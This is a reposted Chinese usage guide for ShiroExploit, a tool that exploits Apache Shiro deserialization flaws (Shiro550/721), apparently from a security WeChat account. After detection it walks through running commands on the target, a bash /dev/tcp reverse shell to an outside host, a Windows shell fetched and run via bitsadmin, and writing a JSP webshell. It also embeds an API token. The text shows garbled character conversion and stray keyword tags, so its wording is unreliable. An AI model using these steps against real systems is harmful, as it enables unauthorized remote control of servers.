ShiroExploit
支持對Shiro550(硬編碼祕鑰)和Shiro721(Padding Oracle)的一鍵化檢測,支持簡單回顯。
項目地址javascript
java
https://github.com/feihong-cs/ShiroExploit
使用說明
第一步:按要求輸入要檢測的目標URL和選擇漏洞類型
-
Shiro550
無需提供rememberMe Cookie,Shiro721
須要提供一個有效的rememberMe Cookie -
Shiro550
無需選擇操做系統類型,Shiro721
須要選擇操做系統類型 -
能夠手工指定特定的 Key 和 Gadget,默認不指定,會遍歷全部的 Key 和 Gadget -
複雜Http請求支持直接粘貼數據包
第二步: 選擇攻擊方式

選擇使用 ceye.io 進行漏洞檢測
-
能夠不進行任何配置,配置文件中已經預置了 CEYE 域名和對應的 Token,固然也能夠對其進行修改。 -
程序會首先使用 URLDNS
篩選出惟一 Key,而後依次調用各個 Gadget 生成 Payload -
缺點:程序會使用 API: http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查詢檢測結果,這個 API 有時候會沒法正常訪問,致使在這種方式下沒法找到 Key 或者有效的 Gadget
選擇 使用 dnslog.cn 進行漏洞檢測
-
能夠不進行任何配置,每次啓動時程序會自動從 dnslog.cn
申請一個 DNS Record。 -
程序會首先使用 URLDNS
篩選出惟一 Key,而後依次調用各個 Gadget 生成 Payload -
缺點:少數時候 dnslog.cn 會間隔較久才顯示 DNS 解析結果致使程序沒法找到 Key 或者有效的 Gadget,且 dnslog.cn 只會記錄最近的10條 DNS 解析記錄
選擇 使用 JRMP + dnslog 進行漏洞檢測
-
須要在 VPS 上經過命令 java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]
開啓HttpService/JRMPListener,並按照要求填入相應 IP 和端口 -
若是開啓 HttpService/JRMPListener 時未指定端口號,則 HTTPService
默認監聽8080
端口,JRMPListener
默認監聽8088
端口 -
使用 JRMP
的方式進行漏洞檢測,能夠顯著減少 cookie 大小 -
程序會首先使用 URLDNS
篩選出惟一 Key,而後使用JRMP
依次爲各個 Gadget 生成對應的 JRMPListener
選擇 使用回顯進行漏洞檢測
-
針對不出網的狀況進行漏洞檢測,此時能夠檢測的 Gadget 類型會少於使用 DNSLog 方式的 Gadget類型 -
目前主要是經過將命令執行結果寫入 Web 目錄下而後讀取的方式實現回顯 -
須要提供一個靜態資源 URL,程序會將此靜態資源所在的目錄當作寫入目錄 -
注:開始的時候使用 https://blog.csdn.net/fnmsd/article/details/106709736
介紹的方式實現回顯,在本地能夠測試成功,可是在實際環境中基本不成功(多是個人姿式有問題,歡迎探討),因此目前是經過讀寫文件的方式實現回顯,後期可能會加入其它方式
第三步:檢測漏洞並執行命令
-
程序在判斷目標應用是否存在漏洞時,窗口上部的輸入框沒法進行輸入。當程序檢測出目標應用存在漏洞時,輸入框能夠進行輸入並執行命令。 -
反彈shell(linux)
採用bash -i >& /dev/tcp/1.2.3.4/443 0>&1
的方式反彈 shell -
反彈shell(Windows)
採用bitsadmin
下載指定 URL 的 exe 文件並執行的方式獲取 shell

-
獲取Webshell
能夠在可以回顯的狀況下直接在使用者給出的路徑(目錄須要真實存在)下寫入 webshell, webshell 名稱和後綴名由使用者自行指定,webshell 的內容從 config 目錄下的 shell.jsp 中讀取

備註
致謝
怕冷的企鵝
給予本項目的技術支持。項目地址
https://github.com/feihong-cs/ShiroExploit
Star 🌟是對做者最好的支持!
公衆號內回覆「shiro靶機」獲取靶機


本文分享自微信公衆號 - Timeline Sec(TimelineSec)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。linux